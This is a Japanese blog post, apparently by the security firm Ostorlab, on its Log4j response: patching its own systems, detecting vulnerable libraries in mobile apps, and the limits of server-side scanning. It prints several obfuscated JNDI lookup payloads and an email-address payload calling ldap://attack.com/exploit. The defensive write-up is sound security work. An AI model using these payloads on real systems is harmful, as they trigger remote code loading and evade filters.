Log4jの脆弱性に当社はどう対応したか：モバイルアプリケーションに関する分析

今では、ほとんどの方がLog4Jをめぐる騒動について耳にしたり読んだりしていることでしょう。

本記事の目的は、すでに多くの情報源で共有されている内容を繰り返すことではありません。モバイルでの検出に焦点を当てた別の視点を示すとともに、この種の脆弱性を検出するうえですべての脆弱性スキャナーが直面している特有の課題を取り上げることです。

当社が初めてLog4Jについて耳にしたのは金曜日の朝で、Androidがこのバグに対して脆弱かどうかを尋ねる人からでした。問題の内容を読んだ限りでは深刻な脆弱性のように思えましたが、Equifaxのバグ（それ自体すでにかなり深刻なものです）以上に重大だとは思えませんでした。

状況が明らかになり始めたのは、その日の遅くになってからです。Log4jのバグはリモートから悪用可能なリモートコード実行（RCE）であり、メモリ保護のバイパスを必要とせず、非常に高い信頼性で動作します。しかも、火星にまで存在するほど広く普及しているライブラリに含まれており、その影響はインターネットに公開されたサーバーをはるかに超えるシステムにまで連鎖的に及ぶ可能性があります。 この問題は考えうる限り最悪のものです。

また、以下に示すように、多機能なテンプレートエンジンのおかげで、この脆弱性は高度に難読化することができます。

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

この問題を修正するにはライブラリの更新が必要であり、場合によっては、互換性を損なう変更を伴う可能性のある新しいバージョンのJavaへのアップグレードも必要になります。

この問題に対処するため、Ostorlabは3つの取り組みに着手しました。

• 自社システムへのパッチ適用と、未対応の修正の修復
• モバイルアプリケーションへの該当性の検証と、適切な検出の確保
• サーバー側およびAPIのスキャンにおける検出の実装

パッチ適用

クラウドベースのサービスを利用しているため、当社のインベントリは容易に管理されています。すべてのシステムの一覧を確認してそれぞれをスキャンした結果、結果のインデックス化に使用している脆弱なサービスを特定しました。 その時点では、このサービスに利用可能なパッチはありませんでした。ただし、このシステムはビジネス上重要なものではなかったため、まずは無効化することにしました。 また、当社のコードベースを分析したところ、当社のコードとともに配布されているツールの一部に脆弱なバージョンのlog4jが含まれていることが判明し、迅速にパッチを適用しました。

クライアント側での検出

Log4jは、モバイルアプリケーションではあまり使われていません。しかし、過去にスキャンしたアプリケーションの履歴データを分析したところ、log4jのバージョンを含むアプリケーションが100以上見つかり、その中にはユーザー数が5000万人を超えるものもありました。

ヒント：アプリケーションのソフトウェア部品表は、無料のコミュニティ版を含め、Ostorlabによって「Libraries & Dependencies」セクションに自動的に生成されます。

しかし、Log4jの脆弱性はJNDIのルックアップクラスによって引き起こされるものであり、当社が確認したバージョンにはこのクラスが含まれていませんでした。

JNDIの機能を深く掘り下げると、JNDIの実装はjavax.namingに、またAndroidの一部のバージョンではandroid.javax.namingに存在します。

このパッケージがアプリケーションに含まれていることはまれですが、少なくとも6つのアプリケーションで確認され、その中にはユーザー数が100万人を超えるものもありました。これらのアプリケーションはすべて、JNDIの名前解決を実装していました。

Log4jが最も広く普及した攻撃ベクトルである可能性は高いものの、信頼できないJNDIの名前解決が原因で、今後も脆弱なアプリケーションが見つかる可能性が高いでしょう。

javax.namingパッケージを分析したところ、複数のアプリケーションで使用されており、その中にはTLS証明書からCNを抽出するために使用しているものもありました。

以下は、Ostorlabの静的解析機能を使って生成した完全なグラフで、アプリケーション全体でnamingの実装クラスがどこで使われているかを示しています。

サーバー側での検出

JNDI文字列を用いてアプリケーションをファジングし、コールバックを待つオープンソースプロジェクトはすでに数多く存在します。

Log4jのスキャンにおける最初の課題は、コールバックベースであることです。つまり、単純なリクエストを送信してレスポンスを待つだけでは何の結果も得られません。従来のネットワークスキャナーは、プライベートネットワークに展開されていることがあり、そのコールバックベースのペイロードが到達不能なマシンのIPアドレスを使用してしまうため、検出に失敗する可能性があります。

2つ目の課題は、ログがシリアライゼーション形式の異なるさまざまな入力から来る可能性があることです。そして、入力が最初のデシリアライゼーションの段階を通過して初めて、脆弱性が引き起こされる可能性があります。これはlog4jに限ったことでは決してなく、すべてのWeb脆弱性スキャナーに共通する既知の弱点です。

最後の課題は、直接のリクエストだけが攻撃ベクトルではないことです。robots.txt、DNSフィールド、メールアドレス（hack+(${jndi:ldap://attack.com/exploit})@ostorlab.coは有効なメールアドレスです）、TLS証明書のフィールド、ファイルのメタデータ、WifiのBSSIDなどにペイロードを仕込む実験をすでに行っている人もいます。要するに、限界は想像力次第です。

これらすべてをカバーできるセキュリティツールはおそらく存在しないでしょう。

何をすべきか

この脆弱性は間違いなく最も危険なものの一つであり、深刻な侵害が報告されるまでに、その影響が明らかになるには何か月もかかるでしょう。

組織を保護するには、多くの対策を講じる必要があります。

• 予防的なパッチ適用：自社のアプリケーションが脆弱かどうか不明な場合は、Ostorlabの無料プラットフォームを使ってスキャンを実行し、脆弱なLog4jライブラリが含まれていないことを確認できます。
• 検出が容易なケースを根絶するためのソースコードの依存関係スキャン
• war、jar、apk、Dockerコンテナなど、コンパイル済み成果物のスキャン
• 稼働中のインスタンスのスキャン。自社のコードとサードパーティのシステムやアプライアンスの両方が対象です。使用しているスキャナーが自社のAPIの言語を理解していること、つまり、ユースケースに応じてOpenAPIやGraphQLスキーマのイントロスペクションなど適切なAPI検出を備えたうえで、RESTやSOAPに対応していることを確認してください。
• 残念ながら、この脆弱性は非常に簡単に難読化できるため、WAFの効果はおそらく限定的ですが、多層防御の手段として備えておく価値は依然としてあります。